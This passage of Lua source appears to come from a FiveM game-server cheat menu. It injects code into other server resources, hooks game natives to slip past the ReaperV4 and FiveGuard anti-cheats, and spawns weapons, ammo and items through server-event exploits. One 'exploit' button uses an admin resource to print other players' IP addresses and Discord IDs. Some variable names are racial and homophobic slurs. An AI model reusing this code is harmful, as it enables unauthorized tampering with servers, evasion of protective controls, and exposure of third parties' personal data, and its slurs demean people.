weaponHash, 200) ]], selectedWeapon.weapon)) hideImageInSvelte() end, onChange = function(selectedWeapon) sendImageToSvelte('weapon', selectedWeapon.image, selectedWeapon.label) end }, { label = 'Heavy', type = 'scroll', selected = 1, canBind = true, bindName = 'Force Heavy Weapon', options = (function() local heavyOptions = {} for i, weaponName in ipairs(WeaponData.Heavy.b) do local imageUrl = WeaponData.Heavy.c[weaponName] or "https://via.placeholder.com/310x174" local displayName = weaponName:gsub("_", " "):gsub("^%l", string.upper) table.insert(heavyOptions, { label = displayName, weapon = "WEAPON_" .. weaponName:upper(), image = imageUrl }) end return heavyOptions end)(), onConfirm = function(selectedWeapon) local function safeCall(fn, ...) if fn then return fn(...) end end local GetResourceState = _G.GetResourceState or function(...) end local Wait = _G.Wait or function(...) end local fgFound = false for i = 0, GetNumResources() - 1 do local v = GetResourceByFindIndex(i) if v and GetResourceState(v) == "started" then local s2, m = pcall(GetResourceMetadata, v, "ac", 0) if s2 and m == "fg" then fgFound = true break end end end local isReaperV4Running = safeCall(GetResourceState, 'ReaperV4') == 'started' or fgFound local isQBCoreRunning = safeCall(GetResourceState, 'qb-core') == 'started' or safeCall(GetResourceState, 'qbx-core') == 'started' -- Hook natives conditionally based on ReaperV4 if isReaperV4Running then -- ReaperV4/vRP: injection into best available inventory resource SafeInjectResourceRaw(InventoryInjectionResource(), string.format([[ local playerPed = PlayerPedId() local weaponHash = GetHashKey("%s") RequestWeaponAsset(weaponHash, 31, 0) while not HasWeaponAssetLoaded(weaponHash) do Wait(0) end if LocalPlayer and LocalPlayer.state then LocalPlayer.state:set('canUseWeapons', true, false) end if client and client.ignoreweapons then client.ignoreweapons[weaponHash] = true end local nexus = _G.GiveWeaponToPed if nexus then nexus(playerPed, weaponHash, 250, false, true) else GiveWeaponToPed(playerPed, weaponHash, 250, false, true) end ]], selectedWeapon.weapon), "SpawnWeapon") else -- Use MachoHookNative when ReaperV4 is NOT running MachoHookNative(0x3A87E44BB9A01D54, function(ped, weaponHash) return -1569615261 end) -- GET_CURRENT_PED_WEAPON MachoHookNative(0x3795688A307E1EB6, function(ped) return false end) -- IS_PED_SWAPPING_WEAPON MachoHookNative(0x0A6DB4965674D243, function(ped) return -1569615261 end) -- GET_SELECTED_PED_WEAPON MachoHookNative(0xC3287EE3050FB74C, function(weaponHash) return -1569615261 end) -- GET_WEAPONTYPE_GROUP MachoHookNative(0x475768A975D5AD17, function(ped, p1) return false end) -- IS_PED_ARMED MachoHookNative(0x8DECB02F88F428BC, function(ped, weaponHash, p2) return false end) -- HAS_PED_GOT_WEAPON MachoHookNative(0x34616828CD07F1A1, function(ped) return false end) -- IS_PED_SHOOTING MachoHookNative(0x3A50753042A63901, function(ped) return false end) -- WAS_PED_SHOOTING MachoHookNative(0xF25DF915FA38C5F3, function(ped, p1) return end) -- REMOVE_ALL_PED_WEAPONS MachoHookNative(0x4899CB088EDF3BCC, function(ped, weaponHash, p2) return end) -- REMOVE_WEAPON_FROM_PED MachoHookNative(0xB2A38826EAB6BCF1, function(ped) return false end) -- IS_PED_DOING_DRIVEBY MachoHookNative(0xED958C9C056BF401, function(ped) return false end) -- IS_PED_SWITCHING_WEAPON MachoHookNative(0x8483E98E8B888A2D, function(ped, p1) return -1569615261 end) -- GET_BEST_PED_WEAPON MachoHookNative(0xA38DCFFCE89696FA, function(ped, weaponHash) return 0 end) -- GET_AMMO_IN_PED_WEAPON MachoHookNative(0x7FEAD38B326B9F74, function(ped, weaponHash) return 0 end) -- GET_PED_AMMO_TYPE_FROM_WEAPON MachoHookNative(0x3B390A939AF0B5FC, function(ped) return -1 end) -- GET_CURRENT_PED_WEAPON_ENTITY_INDEX MachoHookNative(0x59DE03442B6C9598, function(weaponHash) return -1569615261 end) -- GET_PED_AMMO_TYPE_FROM_WEAPON_2 MachoHookNative(0x3133B907D8B32053, function(weaponHash, componentHash) return 0.3 end) -- GET_WEAPONTYPE_MODEL MachoHookNative(0x97A790315D3831FD, function(entity) return 0 end) -- GET_ENTITY_TYPE MachoHookNative(0x48C2BED9180FE123, function(entity) return false end) -- GET_ENTITY_ATTACHED_TO MachoHookNative(0x89CF5FF3D310A0DB, function(weaponHash) return -1569615261 end) -- GET_WEAPON_NAME_FROM_HASH MachoHookNative(0x24B600C29F7F8A9E, function(ped) return false end) -- IS_PED_RELOADING -- Additional weapon bypass natives (from your C++ hooks) MachoHookNative(0x8483E98E8B888AE2, function(ped, p1) return -1569615261 end) -- GET_BEST_PED_WEAPON (alternate) MachoHookNative(0xCAE1DC9A0E22A16D, function(ped) return 0 end) -- GET_WEAPON_OBJECT_FROM_PED MachoHookNative(0xADF692B254977C0C, function(ped, weaponHash, equipNow) return end) -- SET_CURRENT_PED_WEAPON MachoHookNative(0x4899CB088EDF59B8, function(ped, weaponHash) return end) -- REMOVE_WEAPON_FROM_PED (alternate) MachoHookNative(0x2E1202248937775C, function(ped, weaponHash, ammo) return true, 9999 end) -- GET_AMMO_IN_CLIP MachoHookNative(0x2B9EEDC07BD06B9F, function(ped, weaponHash) return 0 end) -- GET_PED_WEAPON_TINT_INDEX -- Critical bypass natives for inventory systems local GetHashKey = _G.GetHashKey or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local SetCurrentPedWeapon = _G.SetCurrentPedWeapon or function(...) end MachoHookNative(0xB0237302, function() local selfPed = safeCall(PlayerPedId) local selfCurrentWeapon = SetCurrentPedWeapon return safeCall(selfCurrentWeapon, selfPed, safeCall(GetHashKey, "WEAPON_UNARMED"), true) end) -- Custom hook to force unarmed state MachoHookNative(0xC4D88A85, function(ped, weaponHash, ammo, ...) return ped, weaponHash, ammo, ... end) -- Pass-through hook for weapon operations end safeCall(Wait, 100) -- Weapon spawning injection via SafeInjectResourceRaw (vrp-aware) SafeInjectResourceRaw(InventoryInjectionResource(), string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local function resourceStarted(resource) return GetResourceState(resource) == 'started' end local KillThe = Citizen.InvokeNative local Nigers = { GiveWeaponToPed = 0xBF0FD6E56C964FCB, SetCurrentPedWeapon = 0xADF692B254977C0C, SetPedAmmo = 0x14E56BC5B5DB6A19, GetHashKey = 0xD24D37CC275948CC, PlayerPedId = 0xD80958FC74E988A6 } local function DrillMyShitTwin(name, ...) local fagets = Nigers[name] if not fagets then return end return KillThe(fagets, ...) end function SmartInvoker(func, ...) if resourceStarted('ReaperV4') or (GetResourceState('FiveGuard') == 'started' or (function() local s,n=pcall(GetNumResources); if s then for i=0,n-1 do local r=GetResourceByFindIndex(i); if r and GetResourceState(r) == 'started' then local s2,m=pcall(GetResourceMetadata,r,'ac',0); if s2 and m=='fg' then return true end end end end return false end)()) then return DrillMyShitTwin(func, ...) else return _G[func](...) end end local weaponName = "%s" local weaponHash if tonumber(weaponName) then weaponHash = tonumber(weaponName) else weaponHash = SmartInvoker("GetHashKey", weaponName) end local ped = SmartInvoker("PlayerPedId") RequestWeaponAsset(weaponHash, 31, 0) while not HasWeaponAssetLoaded(weaponHash) do Wait(0) end SmartInvoker("GiveWeaponToPed", ped, weaponHash, 200, true, true) SmartInvoker("SetCurrentPedWeapon", ped, weaponHash, true) SmartInvoker("SetPedAmmo", ped, weaponHash, 200) ]], selectedWeapon.weapon)) hideImageInSvelte() end, onChange = function(selectedWeapon) sendImageToSvelte('weapon', selectedWeapon.image, selectedWeapon.label) end }, { label = 'Snipers', type = 'scroll', selected = 1, canBind = true, bindName = 'Force Sniper', options = (function() local sniperOptions = {} for i, weaponName in ipairs(WeaponData.Snipers.b) do local imageUrl = WeaponData.Snipers.c[weaponName] or "https://via.placeholder.com/310x174" local displayName = weaponName:gsub("_", " "):gsub("^%l", string.upper) table.insert(sniperOptions, { label = displayName, weapon = "WEAPON_" .. weaponName:upper(), image = imageUrl }) end return sniperOptions end)(), onConfirm = function(selectedWeapon) local function safeCall(fn, ...) if fn then return fn(...) end end local GetResourceState = _G.GetResourceState or function(...) end local GetHashKey = _G.GetHashKey or function(...) end local Wait = _G.Wait or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local SetCurrentPedWeapon = _G.SetCurrentPedWeapon or function(...) end -- Weapon native hooks -- Weapon native hooks MachoHookNative(0x3A87E44BB9A01D54, function(ped, weaponHash) return -1569615261 end) -- GET_CURRENT_PED_WEAPON MachoHookNative(0x3795688A307E1EB6, function(ped) return false end) -- IS_PED_SWAPPING_WEAPON MachoHookNative(0x0A6DB4965674D243, function(ped) return -1569615261 end) -- GET_SELECTED_PED_WEAPON MachoHookNative(0xC3287EE3050FB74C, function(weaponHash) return -1569615261 end) -- GET_WEAPONTYPE_GROUP MachoHookNative(0x475768A975D5AD17, function(ped, p1) return false end) -- IS_PED_ARMED MachoHookNative(0x8DECB02F88F428BC, function(ped, weaponHash, p2) return false end) -- HAS_PED_GOT_WEAPON MachoHookNative(0x34616828CD07F1A1, function(ped) return false end) -- IS_PED_SHOOTING MachoHookNative(0x3A50753042A63901, function(ped) return false end) -- WAS_PED_SHOOTING MachoHookNative(0xF25DF915FA38C5F3, function(ped, p1) return end) -- REMOVE_ALL_PED_WEAPONS MachoHookNative(0x4899CB088EDF3BCC, function(ped, weaponHash, p2) return end) -- REMOVE_WEAPON_FROM_PED MachoHookNative(0xB2A38826EAB6BCF1, function(ped) return false end) -- IS_PED_DOING_DRIVEBY MachoHookNative(0xED958C9C056BF401, function(ped) return false end) -- IS_PED_SWITCHING_WEAPON MachoHookNative(0x8483E98E8B888A2D, function(ped, p1) return -1569615261 end) -- GET_BEST_PED_WEAPON MachoHookNative(0xA38DCFFCE89696FA, function(ped, weaponHash) return 0 end) -- GET_AMMO_IN_PED_WEAPON MachoHookNative(0x7FEAD38B326B9F74, function(ped, weaponHash) return 0 end) -- GET_PED_AMMO_TYPE_FROM_WEAPON MachoHookNative(0x3B390A939AF0B5FC, function(ped) return -1 end) -- GET_CURRENT_PED_WEAPON_ENTITY_INDEX MachoHookNative(0x59DE03442B6C9598, function(weaponHash) return -1569615261 end) -- GET_PED_AMMO_TYPE_FROM_WEAPON_2 MachoHookNative(0x3133B907D8B32053, function(weaponHash, componentHash) return 0.3 end) -- GET_WEAPONTYPE_MODEL MachoHookNative(0x97A790315D3831FD, function(entity) return 0 end) -- GET_ENTITY_TYPE MachoHookNative(0x48C2BED9180FE123, function(entity) return false end) -- GET_ENTITY_ATTACHED_TO MachoHookNative(0x89CF5FF3D310A0DB, function(weaponHash) return -1569615261 end) -- GET_WEAPON_NAME_FROM_HASH MachoHookNative(0x24B600C29F7F8A9E, function(ped) return false end) -- IS_PED_RELOADING -- Additional weapon bypass natives (from your C++ hooks) MachoHookNative(0x8483E98E8B888AE2, function(ped, p1) return -1569615261 end) -- GET_BEST_PED_WEAPON (alternate) MachoHookNative(0xCAE1DC9A0E22A16D, function(ped) return 0 end) -- GET_WEAPON_OBJECT_FROM_PED MachoHookNative(0xADF692B254977C0C, function(ped, weaponHash, equipNow) return end) -- SET_CURRENT_PED_WEAPON MachoHookNative(0x4899CB088EDF59B8, function(ped, weaponHash) return end) -- REMOVE_WEAPON_FROM_PED (alternate) MachoHookNative(0x2E1202248937775C, function(ped, weaponHash, ammo) return true, 9999 end) -- GET_AMMO_IN_CLIP MachoHookNative(0x2B9EEDC07BD06B9F, function(ped, weaponHash) return 0 end) -- GET_PED_WEAPON_TINT_INDEX -- Critical bypass natives for inventory systems MachoHookNative(0xB0237302, function() local selfPed = safeCall(PlayerPedId) local selfCurrentWeapon = SetCurrentPedWeapon return safeCall(selfCurrentWeapon, selfPed, safeCall(GetHashKey, "WEAPON_UNARMED"), true) end) -- Custom hook to force unarmed state MachoHookNative(0xC4D88A85, function(ped, weaponHash, ammo, ...) return ped, weaponHash, ammo, ... end) -- Pass-through hook for weapon operations local fgFound = false for i = 0, GetNumResources() - 1 do local v = GetResourceByFindIndex(i) if v and GetResourceState(v) == "started" then local s2, m = pcall(GetResourceMetadata, v, "ac", 0) if s2 and m == "fg" then fgFound = true break end end end local isReaperV4Running = safeCall(GetResourceState, 'ReaperV4') == 'started' or fgFound local isQBCoreRunning = safeCall(GetResourceState, 'qb-core') == 'started' or safeCall(GetResourceState, 'qbx-core') == 'started' -- Hook natives conditionally based on ReaperV4 if isReaperV4Running then -- ReaperV4/vRP: injection into best available inventory resource SafeInjectResourceRaw(InventoryInjectionResource(), string.format([[ local playerPed = PlayerPedId() local weaponHash = GetHashKey("%s") RequestWeaponAsset(weaponHash, 31, 0) while not HasWeaponAssetLoaded(weaponHash) do Wait(0) end if LocalPlayer and LocalPlayer.state then LocalPlayer.state:set('canUseWeapons', true, false) end if client and client.ignoreweapons then client.ignoreweapons[weaponHash] = true end local nexus = _G.GiveWeaponToPed if nexus then nexus(playerPed, weaponHash, 250, false, true) else GiveWeaponToPed(playerPed, weaponHash, 250, false, true) end ]], selectedWeapon.weapon), "SpawnWeapon") else -- Use MachoHookNative when ReaperV4 is NOT running MachoHookNative(0x3A87E44BB9A01D54, function(ped, weaponHash) return -1569615261 end) -- GET_CURRENT_PED_WEAPON MachoHookNative(0x3795688A307E1EB6, function(ped) return false end) -- IS_PED_SWAPPING_WEAPON MachoHookNative(0x0A6DB4965674D243, function(ped) return -1569615261 end) -- GET_SELECTED_PED_WEAPON MachoHookNative(0xC3287EE3050FB74C, function(weaponHash) return -1569615261 end) -- GET_WEAPONTYPE_GROUP MachoHookNative(0x475768A975D5AD17, function(ped, p1) return false end) -- IS_PED_ARMED MachoHookNative(0x8DECB02F88F428BC, function(ped, weaponHash, p2) return false end) -- HAS_PED_GOT_WEAPON MachoHookNative(0x34616828CD07F1A1, function(ped) return false end) -- IS_PED_SHOOTING MachoHookNative(0x3A50753042A63901, function(ped) return false end) -- WAS_PED_SHOOTING MachoHookNative(0xF25DF915FA38C5F3, function(ped, p1) return end) -- REMOVE_ALL_PED_WEAPONS MachoHookNative(0x4899CB088EDF3BCC, function(ped, weaponHash, p2) return end) -- REMOVE_WEAPON_FROM_PED MachoHookNative(0xB2A38826EAB6BCF1, function(ped) return false end) -- IS_PED_DOING_DRIVEBY MachoHookNative(0xED958C9C056BF401, function(ped) return false end) -- IS_PED_SWITCHING_WEAPON MachoHookNative(0x8483E98E8B888A2D, function(ped, p1) return -1569615261 end) -- GET_BEST_PED_WEAPON MachoHookNative(0xA38DCFFCE89696FA, function(ped, weaponHash) return 0 end) -- GET_AMMO_IN_PED_WEAPON MachoHookNative(0x7FEAD38B326B9F74, function(ped, weaponHash) return 0 end) -- GET_PED_AMMO_TYPE_FROM_WEAPON MachoHookNative(0x3B390A939AF0B5FC, function(ped) return -1 end) -- GET_CURRENT_PED_WEAPON_ENTITY_INDEX MachoHookNative(0x59DE03442B6C9598, function(weaponHash) return -1569615261 end) -- GET_PED_AMMO_TYPE_FROM_WEAPON_2 MachoHookNative(0x3133B907D8B32053, function(weaponHash, componentHash) return 0.3 end) -- GET_WEAPONTYPE_MODEL MachoHookNative(0x97A790315D3831FD, function(entity) return 0 end) -- GET_ENTITY_TYPE MachoHookNative(0x48C2BED9180FE123, function(entity) return false end) -- GET_ENTITY_ATTACHED_TO MachoHookNative(0x89CF5FF3D310A0DB, function(weaponHash) return -1569615261 end) -- GET_WEAPON_NAME_FROM_HASH MachoHookNative(0x24B600C29F7F8A9E, function(ped) return false end) -- IS_PED_RELOADING -- Additional weapon bypass natives (from your C++ hooks) MachoHookNative(0x8483E98E8B888AE2, function(ped, p1) return -1569615261 end) -- GET_BEST_PED_WEAPON (alternate) MachoHookNative(0xCAE1DC9A0E22A16D, function(ped) return 0 end) -- GET_WEAPON_OBJECT_FROM_PED MachoHookNative(0xADF692B254977C0C, function(ped, weaponHash, equipNow) return end) -- SET_CURRENT_PED_WEAPON MachoHookNative(0x4899CB088EDF59B8, function(ped, weaponHash) return end) -- REMOVE_WEAPON_FROM_PED (alternate) MachoHookNative(0x2E1202248937775C, function(ped, weaponHash, ammo) return true, 9999 end) -- GET_AMMO_IN_CLIP MachoHookNative(0x2B9EEDC07BD06B9F, function(ped, weaponHash) return 0 end) -- GET_PED_WEAPON_TINT_INDEX -- Critical bypass natives for inventory systems local GetHashKey = _G.GetHashKey or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local SetCurrentPedWeapon = _G.SetCurrentPedWeapon or function(...) end MachoHookNative(0xB0237302, function() local selfPed = safeCall(PlayerPedId) local selfCurrentWeapon = SetCurrentPedWeapon return safeCall(selfCurrentWeapon, selfPed, safeCall(GetHashKey, "WEAPON_UNARMED"), true) end) -- Custom hook to force unarmed state MachoHookNative(0xC4D88A85, function(ped, weaponHash, ammo, ...) return ped, weaponHash, ammo, ... end) -- Pass-through hook for weapon operations end safeCall(Wait, 100) -- Weapon spawning injection via SafeInjectResourceRaw (vrp-aware) SafeInjectResourceRaw(InventoryInjectionResource(), string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local function resourceStarted(resource) return GetResourceState(resource) == 'started' end local KillThe = Citizen.InvokeNative local Nigers = { GiveWeaponToPed = 0xBF0FD6E56C964FCB, SetCurrentPedWeapon = 0xADF692B254977C0C, SetPedAmmo = 0x14E56BC5B5DB6A19, GetHashKey = 0xD24D37CC275948CC, PlayerPedId = 0xD80958FC74E988A6 } local function DrillMyShitTwin(name, ...) local fagets = Nigers[name] if not fagets then return end return KillThe(fagets, ...) end function SmartInvoker(func, ...) if resourceStarted('ReaperV4') or (GetResourceState('FiveGuard') == 'started' or (function() local s,n=pcall(GetNumResources); if s then for i=0,n-1 do local r=GetResourceByFindIndex(i); if r and GetResourceState(r) == 'started' then local s2,m=pcall(GetResourceMetadata,r,'ac',0); if s2 and m=='fg' then return true end end end end return false end)()) then return DrillMyShitTwin(func, ...) else return _G[func](...) end end local weaponName = "%s" local weaponHash if tonumber(weaponName) then weaponHash = tonumber(weaponName) else weaponHash = SmartInvoker("GetHashKey", weaponName) end local ped = SmartInvoker("PlayerPedId") RequestWeaponAsset(weaponHash, 31, 0) while not HasWeaponAssetLoaded(weaponHash) do Wait(0) end SmartInvoker("GiveWeaponToPed", ped, weaponHash, 200, true, true) SmartInvoker("SetCurrentPedWeapon", ped, weaponHash, true) SmartInvoker("SetPedAmmo", ped, weaponHash, 200) ]], selectedWeapon.weapon)) hideImageInSvelte() end, onChange = function(selectedWeapon) sendImageToSvelte('weapon', selectedWeapon.image, selectedWeapon.label) end } } }, { name = 'Weapon Modifier', submenu = { { label = 'Infinite Ammo', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle Infinite Ammo', onConfirm = function(setToggle) ---("Infinite Ammo toggled:", setToggle) SafeInjectResourceRaw(InjectionResource(), string.format([[ -- Helper functions for obfuscation local function _b(str) local t = {} for i = 1, #str do t[i] = string.byte(str, i) end return t end local function _d(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local function _g(n) local k = _d(n) local f = _G[k] return f end local function _ni(...) return _g(_b("SmartInvoker"))(...) end local ped = _ni(_g(_b("PlayerPedId"))) _ni(_g(_b("SetPedInfiniteAmmo")), ped, %s) _ni(_g(_b("SetPedInfiniteAmmoClip")), ped, %s) ]], tostring(setToggle), tostring(setToggle))) end }, { label = 'Attach Suppressor', type = 'button', canBind = true, bindName = 'Attach Suppressor', onConfirm = function() ---("Attaching Suppressor") SafeInjectResourceRaw(InjectionResource(), [[ local ped = PlayerPedId() local weapon = GetSelectedPedWeapon(ped) if weapon ~= 0 then GiveWeaponComponentToPed(ped, weapon, GetHashKey("COMPONENT_AT_AR_SUPP")) GiveWeaponComponentToPed(ped, weapon, GetHashKey("COMPONENT_AT_PI_SUPP")) GiveWeaponComponentToPed(ped, weapon, GetHashKey("COMPONENT_AT_SR_SUPP")) end ]]) end }, { label = 'Attach Scope', type = 'button', canBind = true, bindName = 'Attach Scope', onConfirm = function() ---("Attaching Scope") SafeInjectResourceRaw(InjectionResource(), [[ local ped = PlayerPedId() local weapon = GetSelectedPedWeapon(ped) if weapon ~= 0 then GiveWeaponComponentToPed(ped, weapon, GetHashKey("COMPONENT_AT_SCOPE_MACRO")) GiveWeaponComponentToPed(ped, weapon, GetHashKey("COMPONENT_AT_SCOPE_SMALL")) GiveWeaponComponentToPed(ped, weapon, GetHashKey("COMPONENT_AT_SCOPE_MEDIUM")) GiveWeaponComponentToPed(ped, weapon, GetHashKey("COMPONENT_AT_SCOPE_LARGE")) end ]]) end }, { label = 'Attach Flashlight', type = 'button', canBind = true, bindName = 'Attach Flashlight', onConfirm = function() ---("Attaching Flashlight") SafeInjectResourceRaw(InjectionResource(), [[ local ped = PlayerPedId() local weapon = GetSelectedPedWeapon(ped) if weapon ~= 0 then GiveWeaponComponentToPed(ped, weapon, GetHashKey("COMPONENT_AT_AR_FLSH")) GiveWeaponComponentToPed(ped, weapon, GetHashKey("COMPONENT_AT_PI_FLSH")) end ]]) end }, { label = 'Attach Grip', type = 'button', canBind = true, bindName = 'Attach Grip', onConfirm = function() ---("Attaching Grip") SafeInjectResourceRaw(InjectionResource(), [[ local ped = PlayerPedId() local weapon = GetSelectedPedWeapon(ped) if weapon ~= 0 then GiveWeaponComponentToPed(ped, weapon, GetHashKey("COMPONENT_AT_AR_AFGRIP")) end ]]) end }, { label = 'Attach Extended Clip', type = 'button', canBind = true, bindName = 'Attach Extended Clip', onConfirm = function() ---("Attaching Extended Clip") SafeInjectResourceRaw(InjectionResource(), [[ local ped = PlayerPedId() local weapon = GetSelectedPedWeapon(ped) if weapon ~= 0 then GiveWeaponComponentToPed(ped, weapon, GetHashKey("COMPONENT_PISTOL_CLIP_02")) GiveWeaponComponentToPed(ped, weapon, GetHashKey("COMPONENT_SMG_CLIP_02")) GiveWeaponComponentToPed(ped, weapon, GetHashKey("COMPONENT_ASSAULTRIFLE_CLIP_02")) GiveWeaponComponentToPed(ped, weapon, GetHashKey("COMPONENT_CARBINERIFLE_CLIP_02")) GiveWeaponComponentToPed(ped, weapon, GetHashKey("COMPONENT_PUMPSHOTGUN_CLIP_02")) end ]]) end }, { label = 'Remove All Attachments', type = 'button', canBind = true, bindName = 'Remove All Attachments', onConfirm = function() ---("Removing All Attachments") SafeInjectResourceRaw(InjectionResource(), [[ local ped = PlayerPedId() local weapon = GetSelectedPedWeapon(ped) if weapon ~= 0 then RemoveWeaponComponentFromPed(ped, weapon, GetHashKey("COMPONENT_AT_AR_SUPP")) RemoveWeaponComponentFromPed(ped, weapon, GetHashKey("COMPONENT_AT_PI_SUPP")) RemoveWeaponComponentFromPed(ped, weapon, GetHashKey("COMPONENT_AT_SR_SUPP")) RemoveWeaponComponentFromPed(ped, weapon, GetHashKey("COMPONENT_AT_SCOPE_MACRO")) RemoveWeaponComponentFromPed(ped, weapon, GetHashKey("COMPONENT_AT_SCOPE_SMALL")) RemoveWeaponComponentFromPed(ped, weapon, GetHashKey("COMPONENT_AT_SCOPE_MEDIUM")) RemoveWeaponComponentFromPed(ped, weapon, GetHashKey("COMPONENT_AT_SCOPE_LARGE")) RemoveWeaponComponentFromPed(ped, weapon, GetHashKey("COMPONENT_AT_AR_FLSH")) RemoveWeaponComponentFromPed(ped, weapon, GetHashKey("COMPONENT_AT_PI_FLSH")) RemoveWeaponComponentFromPed(ped, weapon, GetHashKey("COMPONENT_AT_AR_AFGRIP")) RemoveWeaponComponentFromPed(ped, weapon, GetHashKey("COMPONENT_PISTOL_CLIP_02")) RemoveWeaponComponentFromPed(ped, weapon, GetHashKey("COMPONENT_SMG_CLIP_02")) RemoveWeaponComponentFromPed(ped, weapon, GetHashKey("COMPONENT_ASSAULTRIFLE_CLIP_02")) RemoveWeaponComponentFromPed(ped, weapon, GetHashKey("COMPONENT_CARBINERIFLE_CLIP_02")) RemoveWeaponComponentFromPed(ped, weapon, GetHashKey("COMPONENT_PUMPSHOTGUN_CLIP_02")) end ]]) end }, { label = 'Max Ammo', type = 'button', canBind = true, bindName = 'Max Ammo', onConfirm = function() ---("Setting Max Ammo") SafeInjectResourceRaw(InjectionResource(), [[ local ped = PlayerPedId() local weapon = GetSelectedPedWeapon(ped) if weapon ~= 0 then SetAmmoInClip(ped, weapon, 9999) SetPedAmmo(ped, weapon, 9999) end ]]) end } } } } }, { label = "Dynamic Triggers", type = 'submenu', icon = 'ph-lightning', tabs = { { name = 'Dynamic Triggers', submenu = { { label = 'Load Exploits', type = 'button', canBind = true, bindName = 'Load Exploits', onConfirm = function() local exploitButtons = {} -- Get current server IP local serverIP = GetCurrentServerEndpoint() -- Helper function to check if exploit should be shown local function shouldShowExploit(requiredResource, blacklistedServers, blacklistedResources) -- Check if required resource is running if GetResourceState(requiredResource) ~= "started" then return false end -- Check server IP blacklist if blacklistedServers then for _, blacklistedIP in ipairs(blacklistedServers) do if serverIP and serverIP:find(blacklistedIP, 1, true) then print("^1[Exploit Blocked] Server IP blacklisted: " .. blacklistedIP) return false end end end -- Check resource blacklist if blacklistedResources then for _, blacklistedResource in ipairs(blacklistedResources) do if GetResourceState(blacklistedResource) == "started" then print("^1[Exploit Blocked] Blacklisted resource detected: " .. blacklistedResource) return false end end end return true end if GetResourceState("cashflowcars") == "started" or GetResourceState("keydrops") == "started" or GetResourceState("scripts") == "started" then table.insert(exploitButtons, { label = 'Set Custom Tag', type = 'button', canBind = true, bindName = 'Set Custom Tag', onConfirm = function() openTextInput( "Enter chat tag:", "Type tag here...", "", 30, function(tagName) if tagName and tagName ~= "" then MachoInjectResourceRaw("scripts", string.format([[ LocalPlayer.state:set('currentChatTag', { tag = "%s", color = "255, 255, 255" }, true) ]], tagName:gsub('"', '\\"'))) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Chat tag set to: " .. tagName, type = 'success' })) end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Tag name is required!", type = 'error' })) end end end, "alphanumeric" ) end }) end -- MC9 Random Items Exploit -- Blacklisted servers: Add server IPs here (e.g., {"192.168.1.1:30120", "10.0.0.5:30120"}) -- Blacklisted resources: Add resource names here (e.g., {"WaveShield", "ReaperV4"}) -- Pug Fishing Item Exploit if _G["NexusMenuVIPStatus"] and shouldShowExploit("pug-fishing", {}, {}) then table.insert(exploitButtons, { label = 'Item spawner (NEW)', type = 'button', canBind = true, bindName = 'Spawn item by name', onConfirm = function() local responses = {} local inputSequence = { { question = "Enter item name:", placeholder = "e.g. weapon_neva", maxLength = 50, inputType = "alphanumeric", key = "itemName" }, { question = "Enter amount (numbers only):", placeholder = "e.g. 100", maxLength = 20, inputType = "numeric", key = "amount" } } local function processInput(index) if index > #inputSequence then local itemName = responses[1].value local amount = tonumber(responses[2].value) if itemName and amount and itemName ~= "" and amount > 0 then MachoInjectResource2(1, 'pug-fishing', string.format([[ local amount = %d PugFishToggleItem(true, "%s", amount) ]], amount, itemName)) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = string.format("Added %dx %s!", amount, itemName), type = 'success' })) end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Invalid item name or amount!", type = 'error' })) end end return end local currentInput = inputSequence[index] openTextInput( currentInput.question, currentInput.placeholder, "", currentInput.maxLength, function(value) if value and value ~= "" then table.insert(responses, { key = currentInput.key, value = value }) CreateThread(function() Wait(200) processInput(index + 1) end) else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = currentInput.key .. " is required!", type = 'error' })) end end end, currentInput.inputType ) end processInput(1) end }) end -- Blacklisted servers: Add server IPs here (e.g., {"192.168.1.1:30120", "10.0.0.5:30120"}) if shouldShowExploit("mc9-lib", {}, {}) then table.insert(exploitButtons, { label = 'Get Nearby IPs (MC9)', type = 'button', canBind = true, bindName = 'Get Nearby IPs MC9', onConfirm = function() MachoInjectResource2(1, "mc9-adminmenu", [[ for id, ply in pairs(CurrentPlayers or {}) do print(("Information about ^6%s ^7| ^2%s"):format(ply.name, ply.id)) print((" IP: ^2%s"):format(ply.identifiers.ip:sub(4))) if ply.identifiers.discord then print((" Discord: ^2%s"):format((ply.identifiers.discord or ""):sub(9))) end end ]]) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "MC9 player info printed to console!", type = 'success' })) end end }) end -- 3D Printer Exploit -- Blacklisted servers: Add server IPs here (e.g., {"192.168.1.1:30120", "10.0.0.5:30120"}) -- Blacklisted resources: Add resource names here (e.g., {"WaveShield", "ReaperV4"}) if shouldShowExploit("WayTooCerti_3D_Printer", {}, {}) then table.insert(exploitButtons, { label = 'Spawn item T1', type = 'button', canBind = true, bindName = 'Spawn item T1', onConfirm = function() local responses = {} local inputSequence = { { question = "Enter item name:", placeholder = "Type item name here...", maxLength = 50, inputType = "alphanumeric", key = "itemName" }, { question = "Enter amount (numbers only):", placeholder = "Type amount here...", maxLength = 20, inputType = "numeric", key = "amount" } } local function processInput(index) if index > #inputSequence then local itemName = responses[1].value local amount = tonumber(responses[2].value) if itemName and amount and itemName ~= "" and amount > 0 then MachoInjectResourceRaw("WayTooCerti_3D_Printer", string.format([[ local function Ak47Spawn() TriggerServerEvent('waytoocerti_3dprinter:CompletePurchase', '%s', %d) end Ak47Spawn() ]], itemName:gsub("'", "\\'"), amount)) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Spawn item T1: " .. itemName .. " x" .. amount, type = 'success' })) end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Invalid item name or amount!", type = 'error' })) end end return end local currentInput = inputSequence[index] openTextInput( currentInput.question, currentInput.placeholder, "", currentInput.maxLength, function(value) if value and value ~= "" then table.insert(responses, { key = currentInput.key, value = value }) CreateThread(function() Wait(200) processInput(index + 1) end) else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = currentInput.key .. " is required!", type = 'error' })) end end end, currentInput.inputType ) end processInput(1) end }) end -- Spawn item T2 - ak47_khusbites Exploit -- 